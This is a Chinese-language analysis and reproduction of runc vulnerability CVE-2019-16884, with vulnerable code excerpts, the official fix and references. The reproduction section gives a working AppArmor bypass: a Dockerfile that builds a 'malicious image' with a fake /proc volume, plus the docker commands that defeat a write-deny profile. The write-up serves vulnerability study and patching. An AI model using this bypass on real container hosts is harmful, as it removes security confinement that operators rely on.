漏洞分析
CVE-2019-16884是一个runc漏洞,利用这个漏洞可以绕过AppArmor对于资源访问的限制。
在容器中,AppArmor配置是通过将配置名称写入/proc/self/attr/exec来生效的[1.1]:
func setprocattr(attr, value string) error { // Under AppArmor you can only change your own attr, so use /proc/self/ // instead of /proc// like libapparmor does path := fmt.Sprintf("/proc/self/attr/%s", attr) f, err := os.OpenFile(path, os.O_WRONLY, 0) if err != nil { return err } defer f.Close() _, err = fmt.Fprintf(f, "%s", value) return err }
但是,只有在/proc是一个proc文件系统的时候,AppArmor才会生效。因此,攻击者可以通过挂载一个普通的文件系统到/proc,从而让runc以为它向proc文件系统的exec文件写入了AppArmor配置。在挂载文件系统之前,runc会先进行检查,可以发现它不允许在/proc里面挂载文件系统,然而它却没有检查挂载到/proc本身的情况,也就是说挂载文件系统到/proc仍然是允许的[1.2]:
func checkMountDestination(rootfs, dest string) error { invalidDestinations := []string{ "/proc", } ...... for _, invalid := range invalidDestinations { path, err := filepath.Rel(filepath.Join(rootfs, invalid), dest) if err != nil { return err } if path != "." && !strings.HasPrefix(path, "..") { return fmt.Errorf("%q cannot be mounted because it is located inside %q", dest, invalid) } } return nil }
漏洞复现
系统:Ubuntu 18.04
Docker:19.03.2
containerd:1.2.6
假设宿主和容器共享某个目录,宿主可以读写该目录中的文件,而容器则只能读取不能写入。创建一个AppArmor的配置文件:
#include <tunables/global> profile testprofile flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base> file, deny /vol/** w, }
其中,“deny /vol** w”表示不允许/vol目录下的文件写入操作。然后将该配置文件加载到内核:
sudo apparmor_parser -a ./testprofile
在当前目录下(例如/home/abc/)创建一个vol目录,然后创建一个容器,将这个目录挂载到容器中:
sudo docker run -it --rm --security-opt "apparmor=testprofile" -v /home/abc/vol:/vol ubuntu:bionic-20221215 bash
尝试向/vol目录创建文件,可以发现没有写入的权限:
回到宿主,创建一个root目录,模拟容器的根目录,并在其中创建proc目录,模拟容器的procfs:
mkdir -p root/proc/self/attr mkdir root/proc/self/fd touch root/proc/self/status touch root/proc/self/attr/exec touch root/proc/self/fd/4 touch root/proc/self/fd/5
创建一个Dockerfile,将刚刚创建的root目录复制到容器根目录,并挂载/proc卷:
FROM ubuntu:bionic-20221215 ADD root / VOLUME /proc
构建恶意镜像:
sudo docker build -t malimage .
基于该镜像创建一个容器:
sudo docker run -it --rm --security-opt "apparmor=testprofile" -v /home/abc/vol:/vol malimage bash
再次尝试向/vol写入文件,这次可以成功写入:
官方修复
在修复后的runc中,当挂载文件系统时,会检查挂载到/proc目录的是不是proc文件系统,这样就可以确保不会有其他类型的文件系统挂载到这个位置,从而无法欺骗runc并绕过AppArmor[3.1]:
func checkProcMount(rootfs, dest, source string) error { ...... if path == "." { // an empty source is pasted on restore if source == "" { return nil } // only allow a mount on-top of proc if it's source is "proc" isproc, err := isProc(source) if err != nil { return err } // pass if the mount is happening on top of /proc and the source of // the mount is a proc filesystem if isproc { return nil } return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest) } return fmt.Errorf("%q cannot be mounted because it is inside /proc", dest) } func isProc(path string) (bool, error) { var s unix.Statfs_t if err := unix.Statfs(path, &s); err != nil { return false, err } return s.Type == unix.PROC_SUPER_MAGIC, nil }
参考
[1.1] https://github.com/opencontainers/runc/blob/v1.0.0-rc8/libcontainer/apparmor/apparmor.go#L22
[1.2] https://github.com/opencontainers/runc/blob/v1.0.0-rc8/libcontainer/rootfs_linux.go#L440
[2.1] https://github.com/opencontainers/runc/issues/2128
[2.2] https://ssst0n3.github.io/post/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8/%E8%BF%9B%E7%A8%8B%E5%AE%B9%E5%99%A8/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%B9%E5%99%A8/docker/%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/linux-security-features/what-you-can-actually-do/LSM/apparmor/CVE-2019-16884/CVE-2019-16884%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0.html
[2.3] https://www.anquanke.com/post/id/265343
[3.1] https://github.com/opencontainers/runc/commit/331692baa7afdf6c186f8667cb0e6362ea0802b3